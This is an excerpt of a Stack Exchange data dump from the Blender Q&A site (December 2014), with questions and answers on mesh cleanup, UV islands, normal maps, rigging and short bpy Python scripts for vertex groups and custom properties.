  <row Id="21018" PostTypeId="2" ParentId="20956" CreationDate="2014-12-17T07:18:20.397" Score="7" Body="&lt;p&gt;There is an addon called Mesh Lint that allows you to check a mesh for several of the problems that might cause issues in games. You can find more information about it here:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/MeshLint&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/MeshLint&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should still work with current (2.7x) versions of Blender, although it is not included, so you will need to download it from the link above and install it manually (user File &gt; User Preferences... &gt; Addons &gt; Install from File...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a video about how to use it here: &lt;a href=&quot;http://cgcookie.com/blender/2013/07/23/addon-mesh-lint/&quot;&gt;http://cgcookie.com/blender/2013/07/23/addon-mesh-lint/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2014-12-17T07:18:20.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21019" PostTypeId="2" ParentId="20956" CreationDate="2014-12-17T07:53:41.620" Score="7" Body="&lt;p&gt;In addition to the mesh lint answer I provided above, Blender also has a couple of functions that can help solve common problems. I recently switched to Blender for game work and these are the functions I have found to be invaluable for preparing mesh for export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remove duplicates / merge vertices&lt;/strong&gt;: To remove duplicate faces, vertices or edges in a mesh, enter Edit mode, select everything and press &lt;kbd&gt;W&lt;/kbd&gt; to bring up the specials menu. From this menu select &lt;em&gt;Remove Doubles&lt;/em&gt; (or press 4) and any duplicate elements will be removed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: this function will also merge vertices that are in the same spot or very close together; the threshold can be configured by changing the &lt;em&gt;Merge distance&lt;/em&gt; setting located in the Last Operator panel in the Toolshelf (or press &lt;kbd&gt;F6&lt;/kbd&gt; after operation executing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Select Linked&lt;/strong&gt;: You can select all parts of a mesh that are linked together by selecting one part and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt;. If you then invert the selection with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;i&lt;/kbd&gt;, you can find any unwanted loose polygons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Select Loose Geometry&lt;/strong&gt;: This will select single mesh elements that are not connected to others, such as floating vertices, edges and faces. Note that you need to be in vertex edit to select vertices, edge to select edges and face to select floating faces, and it won't work if there is more than one element connected together, which is why I prefer Select Linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Apply Transform&lt;/strong&gt;: You can apply (or freeze) any transform on a mesh by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and selecting the desired option. This can help to fix problems with scale / rotation after export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Move Pivot&lt;/strong&gt;: You can move the object pivot with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;. The pivot can be moved to the 3D Cursor, which can be moved exactly with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; or by entering a position in the Properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) in the 3D view. This can fix problems with a model being in an unexpected position or rotation after exporting.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="328" LastEditDate="2020-01-12T04:48:17.607" LastActivityDate="2020-01-12T04:48:17.607" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21021" PostTypeId="2" ParentId="18639" CreationDate="2014-12-17T08:18:21.660" Score="3" Body="&lt;p&gt;Looks like a baking bug to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Investigation shows the artifacts are already present in the .exr and the displace works as intended. I just subdivided a plane to 16.78M polys for 4096 texture and it showed the same result as you posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Artifacts in .exr:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D59py.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried converting the curves into mesh, different curves resolutions and smoothings, normalized/unnormalized bakes but I always got black pixels at different random spots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I plug the raw bake into compositing nodes and inspect it it has artifacts, so it is not the exr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution that worked for me are smooth modifiers after the displacement, which is not really a solution.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-17T08:18:21.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21022" PostTypeId="2" ParentId="21003" CreationDate="2014-12-17T08:47:30.680" Score="2" Body="&lt;p&gt;Try this script if the vertex order is the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# rename this to your Female &amp;amp; Male names&#xA;target = bpy.data.objects[&quot;Male&quot;]&#xA;pattern = bpy.data.objects[&quot;Female&quot;]&#xA;&#xA;# transfer vertex groups&#xA;for v_group in pattern.vertex_groups:&#xA;    target.vertex_groups.new(name=v_group.name)&#xA;&#xA;# transfer vertex weights&#xA;for id, vert in enumerate(pattern.data.vertices):&#xA;    for v_group in vert.groups:&#xA;        target.vertex_groups[v_group.group].add([id], v_group.weight, 'REPLACE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-17T08:47:30.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21023" PostTypeId="2" ParentId="21002" CreationDate="2014-12-17T08:52:50.770" Score="2" Body="&lt;p&gt;Textured shaded mode may be what you are looking for.  It's shown in the animated image below.  Sorry about the messy .gif.  Apparently LiceCap really does not like Texture Painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use this viewport shading mode with normal maps, you should add some lighting or all you will see is a sold black model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UyiHk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-12-17T08:52:50.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21024" PostTypeId="1" AcceptedAnswerId="21029" CreationDate="2014-12-17T09:38:26.203" Score="0" ViewCount="1162" Body="&lt;p&gt;I have created and rigged a simple cartoon-style model. His facial expressions are really just an image sequence texture. This allows me to quickly change his facial expression by changing the &quot;offset&quot; value of the image sequence. Then I created a custom property and attached it to a driver. This system works well, but it would be nice to have friendly names like &lt;code&gt;mouth_oo&lt;/code&gt; rather than trying to remember the numerical index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have so far based on an article I read at blendersushi: &lt;a href=&quot;http://pastebin.com/2aJWd2ZB&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/2aJWd2ZB&lt;/a&gt;. The trouble with this code seems to be that &lt;code&gt;context.object.My_List&lt;/code&gt; never seems to be populated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create a custom property control for an object that updates the value of the driver, but gives me a user-friendly popup?&lt;/p&gt;&#xA;" OwnerUserId="2524" LastEditorUserId="1363" LastEditDate="2014-12-17T10:47:34.163" LastActivityDate="2014-12-17T10:53:50.123" Title="Creating a custom property with named values" Tags="&lt;python&gt;&lt;scripting&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21025" PostTypeId="1" AcceptedAnswerId="21027" CreationDate="2014-12-17T10:00:20.200" Score="9" ViewCount="4542" Body="&lt;p&gt;I've just started uv unwrapping a simple object in Blender and am trying to get more useable texture resolution by using the same uvs for multiple similar uv islands (in this case, the mesh is simple, so the islands I want to merge are single polygons). Although I can manually flip the top uv island and move it onto the similar one below, I was wondering if there is a quicker, &lt;em&gt;preferably&lt;/em&gt; automated way &lt;strong&gt;&lt;em&gt;that works with more complicated uv islands&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(sorry my example is so simple... imagine more complex islands).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gj6K0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2014-12-17T10:44:45.307" Title="What is the fastest way to merge similar uv islands" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21026" PostTypeId="1" CreationDate="2014-12-17T10:31:44.837" Score="6" ViewCount="1638" Body="&lt;p&gt;Recently I updated blender to the new version (v2.72) and cell fracture not working how expected.&#xA;After making box UV and cell fracture for the object the texture become ruined. Maybe there is some new step in newer blender version, or I just forgot something?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xcfpd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-19T10:49:18.380" Title="Cell fracture ruins the texture UV" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ClosedDate="2014-12-19T11:43:23.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="21027" PostTypeId="2" ParentId="21025" CreationDate="2014-12-17T10:44:45.307" Score="5" Body="&lt;p&gt;You can use &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?340206-Add-On-UV-Align-Distribute&quot; rel=&quot;nofollow noreferrer&quot;&gt;UV Align\Distribute addon&lt;/a&gt; which will do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XcMKJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how to use it: &lt;a href=&quot;https://www.youtube.com/watch?v=clgrf0DUvso&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=clgrf0DUvso&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-17T10:44:45.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21028" PostTypeId="1" CreationDate="2014-12-17T10:51:28.127" Score="0" ViewCount="282" Body="&lt;p&gt;I don't know how to rig this,&#xA;it's kind of mechnical, I'll try to explain it:&lt;/p&gt;&#xA;&lt;p&gt;dl the blendfile &lt;a href=&quot;https://www.dropbox.com/s/8xtmubzqfm8pry7/mechrig.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/8xtmubzqfm8pry7/mechrig.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bone.Main = should be controlling this on, by pulling up and to the side&lt;/p&gt;&#xA;&lt;p&gt;the Bone.Arm.right and the Bone.Arm.right.stiff should be fixed in angle, just like one glued part&lt;/p&gt;&#xA;&lt;p&gt;so, what should happen is:&#xA;dragging .main up/down: opening and closing the big legs&#xA;pulling main to the side: pulling the legs sideways&lt;/p&gt;&#xA;&lt;p&gt;it's all based on kinematic, so maybe the ik constraint does this,&#xA;but I've never used any before ...&#xA;I tried to but I did not work, it's kind of too difficult for my knowledge state&#xA;anyone can give me a hint...&lt;/p&gt;&#xA;&lt;p&gt;I'd like to parent meshes to the bones and use a proxy armature later...&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wGJXJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="9543" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-17T12:38:54.767" Title="How can I rig this kind of mechanical, kinematic setup?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21029" PostTypeId="2" ParentId="21024" CreationDate="2014-12-17T10:53:50.123" Score="2" Body="&lt;p&gt;Check this code, this shows you 2 different options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is with direct control over the index with a slider with changing labels,&#xA;The other one is with the EnumProp like you have it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ScHQg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;from bpy.props import EnumProperty&#xA;&#xA;def updateEnumParameter(self, context):&#xA;    context.object.my_list_index = int(self.face)&#xA;    print(self.face)&#xA;&#xA;class cls_IntFloatString(bpy.types.PropertyGroup):&#xA;    face_items =((&quot;0&quot;,&quot;None&quot;,&quot;none&quot;),&#xA;                 (&quot;1&quot;,&quot;Smile&quot;,&quot;smile&quot;),&#xA;                 (&quot;2&quot;,&quot;Content&quot;,&quot;content&quot;),&#xA;                 (&quot;3&quot;,&quot;Dizzy&quot;,&quot;dizzy&quot;),&#xA;                 (&quot;4&quot;,&quot;Cat&quot;,&quot;cat&quot;),&#xA;                 (&quot;5&quot;,&quot;Girl&quot;,&quot;girl&quot;),&#xA;                 (&quot;6&quot;,&quot;Yuck&quot;,&quot;yuck&quot;),&#xA;                 (&quot;7&quot;,&quot;Macho&quot;,&quot;macho&quot;),&#xA;                 (&quot;8&quot;,&quot;Pixel&quot;,&quot;pixel&quot;),&#xA;                 (&quot;9&quot;,&quot;Charming&quot;,&quot;charming&quot;),&#xA;                 (&quot;10&quot;,&quot;Cry&quot;,&quot;cry&quot;),&#xA;                 (&quot;11&quot;,&quot;Ouch&quot;,&quot;ouch&quot;),&#xA;                 (&quot;12&quot;,&quot;Ultraman&quot;,&quot;ultraman&quot;))&#xA;    face = bpy.props.EnumProperty(items=face_items, update=updateEnumParameter)&#xA;&#xA;bpy.utils.register_class(cls_IntFloatString)&#xA;&#xA;faces = {&#xA;    '0': &quot;None&quot;,&#xA;    '1': &quot;Smile&quot;,&#xA;    '2': &quot;Content&quot;,&#xA;    '3': &quot;Dizzy&quot;,&#xA;    '4': &quot;Cat&quot;,&#xA;    '5': &quot;Girl&quot;,&#xA;    '6': &quot;Yuck&quot;,&#xA;    '7': &quot;Macho&quot;,&#xA;    '8': &quot;Pixel&quot;,&#xA;    '9': &quot;Charming&quot;,&#xA;    '10': &quot;Cry&quot;,&#xA;    '11': &quot;Ouch&quot;,&#xA;    '12': &quot;Ultraman&quot;}&#xA;&#xA;# Add these properties to every object in the entire Blender system&#xA;bpy.types.Object.my_list_index = bpy.props.IntProperty(min=0, max=len(faces)-1, default=0)&#xA;bpy.types.Object.my_list = bpy.props.PointerProperty(type=cls_IntFloatString)&#xA;&#xA;class IntFloatStringPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Int Float String&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = &quot;WINDOW&quot;&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        box = layout.box()&#xA;        row = box.row()&#xA;        row.label(&quot;Selected Face:&quot;)&#xA;        row.prop(context.object, 'my_list_index', text=faces[str(context.object.my_list_index)], slider=True)&#xA;        box.prop(context.object.my_list, 'face', text='Selected Face')&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(IntFloatStringPanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(IntFloatStringPanel)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-17T10:53:50.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21030" PostTypeId="1" AcceptedAnswerId="21052" CreationDate="2014-12-17T12:00:19.360" Score="1" ViewCount="1103" Body="&lt;p&gt;I have a zombie model that I already animated and it's crawling.&#xA;However it's crawling in wrong direction - when I import it to Unity I can see that I am off the proper rotation by 180 degrees, this could have been prevented if I checked before animating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also didn't move the zombie along the Z axis to the floor, so it's in mid air.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do now is fix this by applying that 180 degrees rotation and new position to the whole animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at this comparison:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wt5yl.png&quot; alt=&quot;Comparison&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I managed to do is to select all bones at the first frame and just rotate it, then import this into Unity. It works fine, but as soon as I play the animation inside blender it gets reset and all messed up (the animation rotates and moves back), so is there a proper way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="5705" LastEditDate="2014-12-17T20:53:14.307" LastActivityDate="2014-12-17T20:53:14.307" Title="Apply new rotation and location to entire Animation" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21031" PostTypeId="1" CreationDate="2014-12-17T12:53:55.053" Score="1" ViewCount="242" Body="&lt;p&gt;Notice how in scene 12_peach, shot 21 in the BBB repository the bushes' leafs in the background appear as rectangles in the depth map. I assume this has to do with the way the bush's material is set up (probably single images of leafs arranged in various sizes and orientations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone more knowledgeable can shed some light on this bush material setup. And most importantly: &lt;strong&gt;Is there a way to get the actual leaf shapes in the depth map as well?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AtFhj.png&quot; alt=&quot;texture image&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VWNIe.png&quot; alt=&quot;depth map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the BBB production repository from &lt;a href=&quot;https://peach.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://peach.blender.org/download/&lt;/a&gt; (near the end of the page). The shot in question is &lt;code&gt;scenes/12_peach/21.blend&lt;/code&gt;. The shot seems to link bush objects from the &lt;code&gt;envs/bushes.blend&lt;/code&gt; library in the BBB repository. Note that I am using Blender v2.46 for this since I could not get the shots to render properly on more recent versions. Crashes all the time. But I assume v2.46 is close to the version they were developing/using in production of the movie.&lt;/p&gt;&#xA;" OwnerUserId="9544" LastEditorUserId="2217" LastEditDate="2014-12-17T14:33:53.200" LastActivityDate="2014-12-17T15:51:28.983" Title="Object contours in depth maps" Tags="&lt;rendering&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21033" PostTypeId="1" CreationDate="2014-12-17T14:07:06.347" Score="1" ViewCount="194" Body="&lt;p&gt;When there are multiple viewports active in the UI, it seems that some settings apply per-viewport, while others apply globally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Examples of per-viewport settings:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;shading mode (wireframe, solid, rendered, etc...)&lt;/li&gt;&#xA;&lt;li&gt;transform manipulators&lt;/li&gt;&#xA;&lt;li&gt;Visible layers (after finding the &quot;unlock camera and layers&quot; button)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Examples of global settings:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Object interaction mode (i.e. object mode, edit mode, weight paint, etc..)&lt;/li&gt;&#xA;&lt;li&gt;Pivot point&lt;/li&gt;&#xA;&lt;li&gt;Edit mode's selection type (i.e. vertex, edge, or face)&lt;/li&gt;&#xA;&lt;li&gt;Edit mode's visible/hidden vertices/edge/faces&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get the global settings applied per-viewport? For example, could one get one viewport in edit mode while another is in object mode? Is it possible to have one viewport in edit mode selecting vertices, while another is selecting faces?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2014-12-17T15:12:20.627" LastActivityDate="2014-12-17T22:42:56.430" Title="Per-Viewport Settings vs Global Settings" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21034" PostTypeId="1" AcceptedAnswerId="21036" CreationDate="2014-12-17T14:14:17.827" Score="1" ViewCount="338" Body="&lt;p&gt;I have implemented a &lt;strong&gt;ModalTimerOperator&lt;/strong&gt;, based on the sample in Blender's Python templates. At the moment it can be started, stopped and restarted by buttons (located in a menu added to the Info header for testing purposes). Later it should be started automatically when activating the addon I am working on. &lt;strong&gt;Important: The timer is intended to run until Blender is closed.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I observed that the timer's &lt;code&gt;cancel()&lt;/code&gt; function is called as soon as a &lt;strong&gt;*.blend file is loaded, and it stops working therefore&lt;/strong&gt; (I fear there may be other events doing the same). Putting a return statement into the &lt;code&gt;cancel()&lt;/code&gt; function before calling &lt;code&gt;wm.event_timer_remove()&lt;/code&gt; does not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So my questions are:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I prevent my timer from being cancelled?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to restart the timer automatically if cancelled? (My try to restart it from a kind of Python watchdog thread causes Blender to crash as the API documentation's &quot;Gotchas&quot; chapter predicts.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8421" LastEditorUserId="3710" LastEditDate="2014-12-17T14:28:51.973" LastActivityDate="2014-12-17T14:46:40.597" Title="My custom timer is cancelled when loading a *.blend file" Tags="&lt;python&gt;&lt;interface&gt;&lt;blend-files&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21035" PostTypeId="1" AcceptedAnswerId="21037" CreationDate="2014-12-17T14:37:36.667" Score="9" ViewCount="1739" Body="&lt;p&gt;&lt;strong&gt;What are the limits of normal maps?&lt;/strong&gt; As far I understand, they can improve the appearance of a model, but how much can the appearance of a low-poly mesh be improved with the addition of a normal map? Can sharp edges appear as beveled because of a normal map? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know normal maps don't change geometry, so I don't think you can make a pretty beveled cube out of the default cube just with a normal map. Is that right?&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="1253" LastEditDate="2014-12-17T21:10:18.387" LastActivityDate="2014-12-17T21:10:18.387" Title="How can a Normal Map affect the look of a model?" Tags="&lt;texturing&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21036" PostTypeId="2" ParentId="21034" CreationDate="2014-12-17T14:46:40.597" Score="2" Body="&lt;p&gt;First such practice as modal operator running in background without user actually starting it from UI or having the ability to end it is bad. For example it will block &lt;kbd&gt;F8&lt;/kbd&gt;- reload plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to use the scene_update callback list in &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_60_6/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;app.handlers&lt;/a&gt; instead of modal operator for what you wanna do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now also from such callback list you can monitor if some modal operator is or is not running and eventually call it. But again, this is very dirty.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-17T14:46:40.597" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21037" PostTypeId="2" ParentId="21035" CreationDate="2014-12-17T15:10:14.417" Score="12" Body="&lt;p&gt;Normal maps simply trick the render engine into thinking that the face is at a differnt angle at that place. It cannot control height (It can still appear to create hight difference, but the are not accurate*) only angle.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Limitations&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;- Changing the silhouette: normal maps won't change the outline&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Gb5im.png&quot; width=&quot;325&quot; height=&quot;325&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yn5DOm.png&quot; width=&quot;325&quot; height=&quot;325&quot;&gt;&#xA;Another angle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QEunI.png&quot; width=&quot;325&quot; height=&quot;325&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PbVkP.png&quot; width=&quot;325&quot; height=&quot;325&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;- &lt;strong&gt;Accurate&lt;/strong&gt; depiction of height&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3C9z3.png&quot; width=&quot;325&quot; height=&quot;325&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A2d53.png&quot; width=&quot;325&quot; height=&quot;325&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Working With Limitations:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Design your mesh to work with these limitations&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make sure the silhouettes match&lt;/li&gt;&#xA;&lt;li&gt;make sure all height differences are clearly define. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Adding enough supporting geometry to complete the illusion&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-12-17T15:18:00.520" LastActivityDate="2014-12-17T15:18:00.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21038" PostTypeId="2" ParentId="21035" CreationDate="2014-12-17T15:10:28.197" Score="10" Body="&lt;p&gt;The &lt;strong&gt;limitation&lt;/strong&gt; of &lt;a href=&quot;http://wiki.polycount.com/wiki/Normal_map&quot; rel=&quot;nofollow noreferrer&quot;&gt;normal map&lt;/a&gt; &lt;strong&gt;is manipulation with the direction of surface normals&lt;/strong&gt;. So you can influence how light will behave when interacting with the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this effect is dependent on the direction of light and position of camera against the surface, so if you try to do too much with normal map you will get distortions. Left Cube is original, right is Default cube with normal map. See how the corner facing camera is OK, but other corners are &lt;strong&gt;distorted due to not enough supporting geometry&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SoGW7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-17T15:17:36.217" LastActivityDate="2014-12-17T15:17:36.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21039" PostTypeId="1" AcceptedAnswerId="21042" CreationDate="2014-12-17T15:17:24.637" Score="6" ViewCount="1061" Body="&lt;p&gt;I have this circular shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aM61z.png&quot; alt=&quot;original object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to duplicate it and scale it, in order to have a copy of it, with the same thickness, just with a bigger radius.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using duplicate and scale (using the 3D cursor as center) the result looks like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dbvOx.png&quot; alt=&quot;after duplication and scaling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the external one is much thicker, because the thickness was scaled as well, is there a simple way to have the second one as thick as the first one?&lt;/p&gt;&#xA;" OwnerDisplayName="user7790" LastEditorUserId="7777" LastEditDate="2014-12-17T15:22:52.727" LastActivityDate="2014-12-17T15:53:03.703" Title="scaling a circular shape while keeping its thickness" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
